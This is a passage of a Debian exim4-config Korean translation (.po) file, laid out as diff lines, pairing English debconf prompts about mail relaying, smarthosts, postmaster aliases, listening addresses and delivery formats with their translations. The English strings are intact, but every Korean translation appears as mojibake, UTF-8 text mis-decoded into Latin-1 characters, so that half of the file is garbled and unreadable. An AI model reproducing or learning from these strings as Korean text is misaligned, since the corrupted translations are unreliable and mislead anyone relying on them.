ë‹¤ë¥´ê²Œ 처리하ë„ë¡ í•˜ë ¤ë©´, ë‚˜ì¤‘ì— ì„¤ì • 파ì¼" +"ì„ ì§ì ‘ 편집해야 합니다." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "ë‹¤ìŒ ë„ë©”ì¸ìœ¼ë¡œ 가는 ë©”ì¼ì€ ë¦´ë ˆì´:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"예비 MX나 ë©”ì¼ ê²Œì´íŠ¸ì›¨ì–´ 등 ì´ ì‹œìŠ¤í…œì´ ë©”ì¼ì„ ì „ë‹¬í• ìˆ˜ì‹ ë„ë©”ì¸ì„ ì„¸ë¯¸ì½œë¡ " +"으로 êµ¬ë¶„ëœ ëª©ë¡ì„ ìž…ë ¥í•´ì£¼ì‹ì‹œì˜¤. ì´ë ‡ê²Œ 하면 ì´ ì‹œìŠ¤í…œì€ ì¸í„°ë„· ì–´ë””ì—ì„œë“ " +"지 해당 ë„ë©”ì¸ì„ 위해 ë©”ì¼ì„ 받아들여서 로컬 배달 ê·œì¹™ì— ë”°ë¼ ë©”ì¼ì„ 배달하" +"게 ë©ë‹ˆë‹¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "로컬 ë„ë©”ì¸ì€ 사용하지 마ì‹ì‹œì˜¤. 와ì¼ë“œì¹´ë“œëŠ” ì‚¬ìš©í•´ë„ ë©ë‹ˆë‹¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "ë‹¤ìŒ ì»´í“¨í„°ë¡œ 가는 ë©”ì¼ì„ ë¦´ë ˆì´:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"스마트호스트로 ë™ìž‘하는 ì´ ì‹œìŠ¤í…œì´ ë¬´ì¡°ê±´ì 으로 ë©”ì¼ì„ ì „ë‹¬í• IP 주소 대ì—" +"ì˜ ëª©ë¡ì„ ì„¸ë¯¸ì½œë¡ ìœ¼ë¡œ 구분하여 ìž…ë ¥í•˜ì—¬ 주ì‹ì‹œì˜¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"\"주소/길ì´\"ì‹ì˜ 표준 형ì‹ì„ 사용해야 합니다. (예: 194.222.242.0/24 아니면 " +"5f03:1200:836f::/48)" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"ì´ ì‹œìŠ¤í…œì´ ë‹¤ë¥¸ 호스트를 위한 스마트호스트 ì—í• ì„ í•˜ì§€ ì•Šì„ ê²½ìš° ì´ ëª©ë¡ì„ " +"비워ë‘ì‹ì‹œì˜¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "로컬 사용ìžê°€ ì™¸ë¶€ì— ì‚¬ìš©í• ë„ë©”ì¸ ì´ë¦„:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"나가는 ë©”ì¼ì—ì„œ 로컬 ë©”ì¼ ì´ë¦„ì„ ìˆ¨ê¸°ë„ë¡ í•˜ëŠ” ì˜µì…˜ì´ í™œì„±í™”ë˜ì—ˆìŠµë‹ˆë‹¤. ë”°ë¼" +"ì„œ 로컬 사용ìžì˜ 보내는 사람 ì£¼ì†Œì˜ ë„ë©”ì¸ ë¶€ë¶„ì— í•´ë‹¹í•˜ëŠ” ë„ë©”ì¸ ì´ë¦„ì„ ì§€ì •" +"하셔야 합니다." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "외부로 보내는 ìŠ¤ë§ˆíŠ¸í˜¸ìŠ¤íŠ¸ì˜ IP 주소나 호스트 ì´ë¦„:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"외부로 나가는 스마트호스트로 ì‚¬ìš©í• IP 주소나 호스트 ì´ë¦„ì„ ìž…ë ¥í•´ì£¼ì‹ì‹œì˜¤. " +"스마트호스트가 TCP/25와 다른 í¬íŠ¸ë§Œì„ 사용한다면 ì½œë¡ (:) 2개와 í¬íŠ¸ë²ˆí˜¸(예를 " +"들어 smarthost.example::587ì´ë‚˜ 192.168.254.254::2525)를 ë’¤ì— ë¶™ì´ì‹ì‹œì˜¤. " +"IPv6 ì£¼ì†Œì— ìžˆëŠ” ì½œë¡ ì€ ì¤‘ë³µí•´ì„œ ìž…ë ¥í•˜ì…”ì•¼ 합니다." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"스마트호스트가 ì¸ì¦ì„ 필요로 í• ê²½ìš°, /usr/share/doc/exim4-baseì—ì„œ SMTP ì¸ì¦" +"ì„ ì„¤ì •í•˜ëŠ” ë°©ë²•ì— ê´€í•œ ë°ë¹„안 ê´€ë ¨ README 파ì¼ì„ 참조하ì‹ì‹œì˜¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "root ë° postmaster ë©”ì¼ì„ ë°›ì„ ì‚¬ëžŒ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"\"postmaster\"나 \"root\" 등 기타 시스템 ê³„ì •ì˜ ë©”ì¼ì€ ì‹¤ì œ 시스템 관리ìžì˜ " +"ì‚¬ìš©ìž ê³„ì •ìœ¼ë¡œ ì „ë‹¬ë˜ì–´ì•¼ 합니다." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"ì´ ê°’ì„ ë¹„ì›Œë‘˜ 경우 ì´ëŸ¬í•œ ë©”ì¼ì€ /var/mail/mailì— ì €ìž¥ë˜ê²Œ ë˜ëŠ”ë°, ì´ëŠ” 권장" +"하지 않습니다." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"postmasterì˜ ë©”ì¼ì€ 다른 시스템으로 ì „ë‹¬í•˜ì§€ ì•Šê³ ëª©í‘œ 시스템ì—ì„œ 바로 ì½ëŠ” " +"ê²ƒì´ ì¢‹ê¸° 때문ì—, ì—¬ê¸°ì— ë‚˜ì—´ëœ ì‚¬ìš©ìž ì¤‘ 최소한 하나는 ì´ ì‹œìŠ¤í…œ 밖으로 ë©”ì¼" +"ì„ ì „ë‹¬í•˜ì§€ ì•Šì„ ê²ƒì„ ê¶Œìž¥í•©ë‹ˆë‹¤. 로컬 ë°°ë‹¬ì„ ê°•ì œí•˜ê¸° 위해서는 ì•žì— \"real-" +"\"를 붙ì´ì‹ì‹œì˜¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "" +"ì‚¬ìš©ìž ì´ë¦„ì„ ì—¬ëŸ¬ ê°œ ìž…ë ¥í•˜ê¸° 위해서는 공백으로 구분해서 ìž…ë ¥í•˜ì‹ì‹œì˜¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "들어오는 SMTP ì—°ê²°ì„ ë°›ì•„ë“¤ì¼ IP 주소:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"ì„¸ë¯¸ì½œë¡ ìœ¼ë¡œ êµ¬ë¶„ëœ IP ì£¼ì†Œì˜ ëª©ë¡ì„ ìž…ë ¥í•˜ì‹ì‹œì˜¤. eximì˜ SMTP listener ë°ëª¬" +"ì€ ì´ ëª©ë¡ì— 있는 ëª¨ë“ IP 주소ì—ì„œ ì—°ê²°ì„ ë°›ì•„ë“¤ì´ê²Œ ë©ë‹ˆë‹¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"ì´ ê°’ì„ ë¹„ì›Œë‘˜ 경우, eximì€ ì‚¬ìš© 가능한 ëª¨ë“ ë„¤íŠ¸ì›Œí¬ ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œ ì—°ê²°ì„ " +"받아들ì´ê²Œ ë©ë‹ˆë‹¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"ì´ ì‹œìŠ¤í…œì´ (다른 í˜¸ìŠ¤íŠ¸ì— ì—°ê²°í•˜ì§€ ì•Šê³ )로컬 서비스를 통해서만 ì´ë©”ì¼ì„ 받으" +"ë©´ 외부ì—ì„œ ë¡œì»¬ì— ìžˆëŠ” exim ë°ëª¬ìœ¼ë¡œ ì—°ê²°ì„ ê¸ˆí• ê²ƒì„ ê¶Œìž¥í•©ë‹ˆë‹¤. 로컬 서비" +"스란 localhost와 í†µì‹ í•˜ëŠ” ì´ë©”ì¼ í”„ë¡œê·¸ëž¨(MUA)ê³¼ fetchmail ë“±ì„ ì¼ì»«ìŠµë‹ˆë‹¤. " +"ì—¬ê¸°ì— 127.0.0.1ì„ ìž…ë ¥í•˜ë©´ ê³µê°œëœ ë„¤íŠ¸ì›Œí¬ ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œì˜ ì—°ê²°ì„ ë°›ì•„ë“¤ì´" +"지 않게 ë˜ê¸° ë•Œë¬¸ì— ì™¸ë¶€ ì—°ê²°ì´ ë˜ì§€ 않습니다." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "DNS 질ì˜ë¥¼ ìµœì†Œí™”í•˜ì‹œê² ìŠµë‹ˆê¹Œ (í•„ìš”í• ë•Œë§Œ ì „í™”ì ‘ì†)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"ì¼ë°˜ì ì¸ ë™ìž‘ 모드ì—서는 eximì´ ì‹œìž‘í• ë•Œì™€ 메세지를 ë³´ë‚´ê³ ë°›ì„ ë•Œì— DNS 질" +"ì˜ë¥¼ 합니다. ì´ëŠ” 로그 ìž‘ì„±ì„ ìœ„í•´, ì„¤ì • 파ì¼ì—ì„œ í•˜ë“œì½”ë”©ëœ ê°’ì„ ìµœì†Œí™”í•˜ê¸° " +"위해서입니다." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"í•„ìš”í• ë•Œë§Œ ì „í™”ì ‘ì†ì„ 하는 ë“±ì˜ ì´ìœ ë¡œ DNS ë„¤ìž„ì„œë²„ì— ì•„ë¬´ 때나 ì ‘ê·¼í• ìˆ˜ ì—†" +"ì„ ê²½ìš° ì›ì¹˜ 않는 결과를 ì´ˆëž˜í• ìˆ˜ 있습니다. 예를 들어 eximì„ ì‹œìž‘í•˜ê±°ë‚˜ ë©”" +"ì¼ í를 실행하는 경우(íì— ì‹¤ì œ 메세지가 ì—†ë”ë¼ë„) ì „í™”ìš”ê¸ˆì´ ë¹„ì‹¼ ì „í™”ì ‘ì†" +"ì„ ì‹œë„í• ìˆ˜ 있습니다." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"ì‹œìŠ¤í…œì´ í•„ìš”í• ë•Œë§Œ ì „í™”ì ‘ì† ëª¨ë“œë¥¼ ì‚¬ìš©í• ê²½ìš° ì„ íƒí•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤. í•ìƒ ì¸" +"í„°ë„·ì— ì—°ê²°ë˜ì–´ ìžˆì„ ê²½ìš°ì—는 ì´ ì˜µì…˜ì„ ì‚¬ìš©í•˜ì§€ 마ì‹ì‹œì˜¤." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "ë©”ì¼ ì„œë²„ ì„¤ì •" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "ì„¤ì •ì„ ì—¬ëŸ¬ê°œì˜ ìž‘ì€ íŒŒì¼ë¡œ ìª¼ê°œì‹œê² ìŠµë‹ˆê¹Œ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"ë°ë¹„안 exim4 패키지는 í•œ ê°œì˜ í†µí•©ëœ íŒŒì¼(/etc/exim4/exim4.conf.template)ì„ " +"사용하는 \"í†µí•©ì„¤ì •\"를 사용하거나 /etc/exim4/conf.d/ ì•ˆì— ìžˆëŠ” 50ì—¬ ê°œì˜ ìž‘" +"ì€ íŒŒì¼ì—ì„œ 최종 ì„¤ì • 파ì¼ì„ 만드는 \"ë¶„ë¦¬ëœ ì„¤ì •\"를 ì‚¬ìš©í• ìˆ˜ 있습니다." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"ì „ìžì˜ 경우 ì„¤ì •ì„ ë§Žì´ ìˆ˜ì •í•˜ëŠ” ê²½ìš°ì— ë” ì í•©í•˜ê³ ë” ì•ˆì •ì 입니다. 반면 후" +"ìžëŠ” ì„¤ì •ì„ ì•½ê°„ ìˆ˜ì •í•˜ëŠ” 경우 ë” ê°„íŽ¸í•œ ë°©ë²•ì¼ ìˆ˜ 있지만 ë” ë¶ˆì•ˆì •í•˜ë©° ì„¤ì •" +"ì„ ìž˜ëª»í• ê²½ìš° ì„¤ì •ì´ ë§ê°€ì§ˆ ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"ë¶„ë¦¬ëœ ì„¤ì •ê³¼ í†µí•©ì„¤ì •ì— ê´€í•œ ë” ìžì„¸í•œ ì •ë³´ëŠ” /usr/share/doc/exim4-baseì— ìžˆ" +"는 ë°ë¹„안 ì „ìš© README 파ì¼ì—ì„œ 보실 수 있습니다." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "나가는 ë©”ì¼ì—ì„œ 로컬 ë©”ì¼ ì´ë¦„ì„ ê°ì¶”ì‹œê² ìŠµë‹ˆê¹Œ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"다른 시스템ì—ì„œ ë©”ì¼ì„ 보낸 것처럼 ë³´ì´ë„ë¡ ë‚˜ê°€ëŠ” ë©”ì¼ì˜ í—¤ë”를 다시 쓸 수 " +"있습니다. ì´ ì˜µì…˜ì„ ì‚¬ìš©í• ê²½ìš° From, Reply-To, Sender ë° Return-Pathì— ìžˆ" +"는 \"${mailname}\"ì´ë‚˜ \"localhost\", \"${dc_other_hostnames}\"ì„(를) 다른 ì´" +"름으로 바꾸게 ë©ë‹ˆë‹¤." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "/var/mail/ì— mbox 형ì‹ìœ¼ë¡œ" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "홈 ë””ë ‰í† ë¦¬ì— Maildir 형ì‹ìœ¼ë¡œ" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "로컬 ë©”ì¼ì„ ë°°ë‹¬í• ë•Œ ì‚¬ìš©í• ë°°ë‹¬ ë°©ì‹:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"eximì€ ë¡œì»¬ë¡œ ë°°ë‹¬ëœ ì´ë©”ì¼ì„ 다양한 형ì‹ìœ¼ë¡œ ì €ìž¥í• ìˆ˜ 있습니다. 가장 ë„리 " +"사용ë˜ëŠ” 형ì‹ì€ mbox형ì‹ê³¼ Maildir형ì‹ìž…니다. mbox형ì‹ì€ /var/mail/ì— ìžˆëŠ” 완" +"ì „í•œ ë©”ì¼ í´ë”를 í•˜ë‚˜ì˜ íŒŒì¼ì— ì €ìž¥í•©ë‹ˆë‹¤. Maildir형ì‹ì„ ì‚¬ìš©í• ê²½ìš° ëª¨ë“ ë©”" +"시지는 ~/Maildir/ì— ë”°ë¡œ ë”°ë¡œ ì €ìž¥ë©ë‹ˆë‹¤." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"ì°¸ê³ ë¡œ ë°ë¹„ì•ˆì— ìžˆëŠ” ëŒ€ë¶€ë¶„ì˜ ë©”ì¼ ë„구는 mbox 형ì‹ì„ 기본 로컬 배달 ë°©ì‹ìœ¼" +"ë¡œ 간주합니다." + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "exim(ë²„ì „3)ì´ ì•„ì§ ë°°ë‹¬í•˜ì§€ ì•Šì€ ë©”ì¼ì„ exim4 스풀로 ì˜®ê¸°ì‹œê² ìŠµë‹ˆê¹Œ?" + +#, fuzzy +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "exim(ë²„ì „3)ì´ë‚˜ exim-tls(v3)ìš© 스풀 ë””ë ‰í† ë¦¬ /var/spool/exim/input/ì— ì•„" +#~ "ì§ ë°°ë‹¬ë˜ì§€ ì•Šì€ ë©”ì¼ì´ 있습니다." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "ì´ ì˜µì…˜ì„ ì„ íƒí•˜ì‹œë©´ ì´ ë©”ì‹œì§€ë¥¼ exim4ìš© 스풀(/var/spool/exim4/input/)ë¡œ " +#~ "옮겨서 exim4ê°€ 처리하ë„ë¡ í•©ë‹ˆë‹¤." + +#, fuzzy +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "ì´ ìž‘ì—…ì€ í•œìª½ 방향으로만 ë™ìž‘합니다. exim4는 exim(v3)ìš© ìŠ¤í’€ì„ ì²˜ë¦¬í• ìˆ˜ " +#~ "있지만 반대로는 안 ë©ë‹ˆë‹¤. 다시 exim(v3)를 사용하지 ì•Šì„ ê²½ìš°ì—만 메시지" +#~ "를 옮기ë„ë¡ í•˜ì‹ì‹œì˜¤. ê·¸ë ‡ì§€ 않으면 메시지를 ë‚˜ì¤‘ì— ìˆ˜ë™ìœ¼ë¡œ 옮기ì‹ì‹œì˜¤." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "ì´ ëª©ë¡ì„ 비어둘 경우 eximì€ ë¡œì»¬ ë°°ë‹¬ì„ ì•ˆí•˜ê²Œ ë©ë‹ˆë‹¤." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "í•œ 방향으로만 ë™ìž‘하는 ê²ƒì— ì£¼ì˜í•˜ì‹ì‹œì˜¤. exim4는 exim(ë²„ì „3)ì˜ ìŠ¤í’€ì„ ì²˜" +#~ "ë¦¬í• ìˆ˜ 있지만, ê·¸ 반대는 아닙니다." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "다시는 exim(ë²„ì „3)으로 ëŒì•„올 계íšì´ 없는 경우ì—만 ë©”ì¼ì„ 옮기ì‹ì‹œì˜¤. ì•„" +#~ "니면 지금 ë©”ì¼ì„ 옮기지 ë§ê³ 수ë™ìœ¼ë¡œ ì„¤ì •ì„ ë³€í™˜í–ˆì„ ë•Œ 옮기ì‹ì‹œì˜¤." + +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "ë„ë©”ì¸ì´ ë” ìžˆë‹¤ë©´ 여기 ìž…ë ¥í•˜ì‹ì‹œì˜¤. ê° ë„ë©”ì¸ì€ ì½œë¡ ìœ¼ë¡œ 구분합니다. ë” " +#~ "없으면 비워 ë‘시면 ë©ë‹ˆë‹¤." + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "ë¦´ë ˆì´ ë©”ì¼ì„ ë°›ì•„ë“¤ì¼ ëª©ì 지 ë„ë©”ì¸ì„ ìž…ë ¥í•˜ì‹ì‹œì˜¤." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "ì´ ë„ë©”ì¸ì€ ì¸í„°ë„·ì˜ ì–´ë””ì—ì„œë“ ì´ ë„ë©”ì¸ìœ¼ë¡œ 가는 ë©”ì¼ì„ 받아들ì´ëŠ” ë„ë©”" +#~ "ì¸ìž…니다. 로컬 ë„ë©”ì¸ì€ 여기 쓰지 마ì‹ì‹œì˜¤." + +#, fuzzy +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "여기 ìž…ë ¥í•˜ëŠ” ë„ë©”ì¸ì€ ì½œë¡ ìœ¼ë¡œ 구분합니다. 와ì¼ë“œì¹´ë“œë„ ì‚¬ìš©í• ìˆ˜ 있습니" +#~ "다." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "나가는 ë©”ì¼ì—ì„œ 로컬 ë©”ì¼ ì´ë¦„ì„ ê°ì¶”기로 하셨기 때문ì—, 로컬 사용ìžê°€ 사" +#~ "ìš©í• ë„ë©”ì¸ ì´ë¦„ì„ ì§€ì •í•´ì•¼ 합니다; 대부분 ë©”ì¼ì„ ë°›ì„ ë•Œ 쓰는 컴퓨터로 지" +#~ "ì •í•©ë‹ˆë‹¤." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "사용ìžëŠ” 어디서 ë©”ì¼ì„ ì½ìŠµë‹ˆê¹Œ?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "ì´ í˜¸ìŠ¤íŠ¸ì—ì„œ 나가는 ë©”ì¼ì„ ì²˜ë¦¬í• ì»´í“¨í„° (스마트호스트):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "나가는 ë©”ì¼ì„ 보낼 ì»´í“¨í„°ì˜ í˜¸ìŠ¤íŠ¸ì´ë¦„ì„ ìž…ë ¥í•˜ì‹ì‹œì˜¤" + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "í•„ìš”í• ë•Œë§Œ ì „í™”ì ‘ì†ì„ 하는 ê²½ìš°ì— ì´ ê¸°ëŠ¥ì„ ì‚¬ìš©í•˜ì‹ì‹œì˜¤; ê·¸ë ‡ì§€ ì•Šì€ ê²½" +#~ "ìš° 사용하지 마ì‹ì‹œì˜¤." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "ë‹¤ìŒ ì¤‘ì—ì„œ í•„ìš”ì— ë”°ë¼ ê°€ìž¥ ì í•©í•œ ì„¤ì •ì„ ê³ ë¥´ì‹ì‹œì˜¤." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "잘 ëª¨ë¥´ê² ìœ¼ë©´ ì„¤ì •ì„ ìª¼ê°œì§€ ë§ì•„야 합니다." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "ì§ì ‘ ë§Œë“ exim ë²„ì „3 ì„¤ì •ì„ ìˆ˜ë™ìœ¼ë¡œ 바꾸기" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "exim4를 수ë™ìœ¼ë¡œ ì„¤ì •í•˜ì‹œê² ìŠµë‹ˆê¹Œ?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "ì§ì ‘ ë§Œë“ exim 3 ì„¤ì •ì´ ìžˆë‹¤ê³ í•˜ì…¨ìŠµë‹ˆë‹¤. ì´ ì„¤ì • 파ì¼ì„ exim 4ë¡œ 변환하" +#~ "ë ¤ë©´, 설치한 í›„ì— exim_convert4r4(8) íˆ´ì„ ì“¸ 수 있습니다. /usr/share/doc/" +#~ "exim4-base/examples/example.conf.gz ë° /usr/share/doc/exim4-base/README." +#~ "Debian.gz 파ì¼ì„ ì°¸ê³ í•˜ì‹ì‹œì˜¤!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "ë©”ì¼ ì‹œìŠ¤í…œì„ ì„¤ì •í•˜ê¸° ì „ê¹Œì§€ëŠ”, ì œëŒ€ë¡œ ë™ìž‘하지 ì•Šê³ ì‚¬ìš©í• ìˆ˜ 없습니다." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "\"ë©”ì¼ ì´ë¦„\"ì€ (다시 쓰기 ê·œì¹™ì— ì˜í•´ ê°€ë ¤ì§€ì§€ 않는다면) 나가는 뉴스 ë° " +#~ "ë©”ì¼ì— 쓰여지는 주소ì—ì„œ 호스트 ì´ë¦„ ë¶€ë¶„ì„ ë§í•©ë‹ˆë‹¤ (ì‚¬ìš©ìž ì´ë¦„ ë’¤ì˜ @ " +#~ "다ìŒì— 나오는 부분)." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "ë¦´ë ˆì´ ë©”ì¼ì„ ë°›ì•„ë“¤ì¼ ëª©ì 지 로컬 ì»´í“¨í„°ì˜ ë„¤íŠ¸ì›Œí¬ë¥¼ 여기 ìž…ë ¥í•˜ì‹ì‹œì˜¤." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "스마트호스트로 ì‚¬ìš©í• ëª¨ë“ ì»´í“¨í„°ì˜ ëª©ë¡ì´ 들어 있어야 합니다." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "IPv6 주소ì—서는 ì½œë¡ ì„ ë‘ ê°œì”© ì¨ì•¼ 합니다 (예를 들어 " +#~ "5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list 